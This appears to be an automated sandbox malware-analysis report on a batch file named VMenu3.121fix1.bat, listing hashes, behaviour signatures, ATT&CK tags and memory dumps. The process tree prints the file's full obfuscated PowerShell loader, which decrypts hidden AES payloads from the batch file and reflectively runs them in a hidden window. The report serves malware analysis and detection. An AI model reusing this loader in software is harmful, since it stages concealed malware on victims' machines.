fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05/03/2025, 03:59

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General

Target

VMenu3.121fix1.bat
Size

527KB
MD5

3d1653ee332959fc6ea17400cdb636bd
SHA1

3a75f6b73477b63300bc1065caaa7c9af066b6b4
SHA256

fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e
SHA512

6eaaf2c0cd2322dcb9fcd71d030afaabaf13b0ed881fafe8db569da5cb2e196147045105067b3d5dc9aa80d2c61d44d6f063b82c74f6954b5bb956e4597e0b06
SSDEEP

6144:BLG0TmgMe4wGS6I4LjSAeEP3xI0r+/nBkJgrICpdZGz2LDpb5uZ8OaE2i88tmKb4:BCZgMe46AeSBHoBigr3ZnLjmsi4xq/G

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2504	1924	cmd.exe	31
PID 1924 wrote to memory of 2504	1924	cmd.exe	31
PID 1924 wrote to memory of 2504	1924	cmd.exe	31
PID 2504 wrote to memory of 2388	2504	net.exe	32
PID 2504 wrote to memory of 2388	2504	net.exe	32
PID 2504 wrote to memory of 2388	2504	net.exe	32
PID 1924 wrote to memory of 2368	1924	cmd.exe	33
PID 1924 wrote to memory of 2368	1924	cmd.exe	33
PID 1924 wrote to memory of 2368	1924	cmd.exe	33
PID 1924 wrote to memory of 2488	1924	cmd.exe	34
PID 1924 wrote to memory of 2488	1924	cmd.exe	34
PID 1924 wrote to memory of 2488	1924	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\VMenu3.121fix1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FUnCUHbp7bZ3aDt7EaVZSvFYhobW2XMUVK66Zb99X4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7RSYmNKHEzHJb8J9Ope6aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FmbNL=New-Object System.IO.MemoryStream(,$param_var); $RglAC=New-Object System.IO.MemoryStream; $acWbi=New-Object System.IO.Compression.GZipStream($FmbNL, [IO.Compression.CompressionMode]::Decompress); $acWbi.CopyTo($RglAC); $acWbi.Dispose(); $FmbNL.Dispose(); $RglAC.Dispose(); $RglAC.ToArray();}function execute_function($param_var,$param2_var){ $IsgCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WIgyd=$IsgCr.EntryPoint; $WIgyd.Invoke($null, $param2_var);}$coheU = 'C:\Users\Admin\AppData\Local\Temp\VMenu3.121fix1.bat';$host.UI.RawUI.WindowTitle = $coheU;$MuzzS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($coheU).Split([Environment]::NewLine);foreach ($rWFCs in $MuzzS) { if ($rWFCs.StartsWith('AXBwvMvJcDRzRiGDBjAF')) { $FODgs=$rWFCs.Substring(20); break; }}$payloads_var=[string[]]$FODgs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2488-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/2488-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2488-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2488-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-10-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download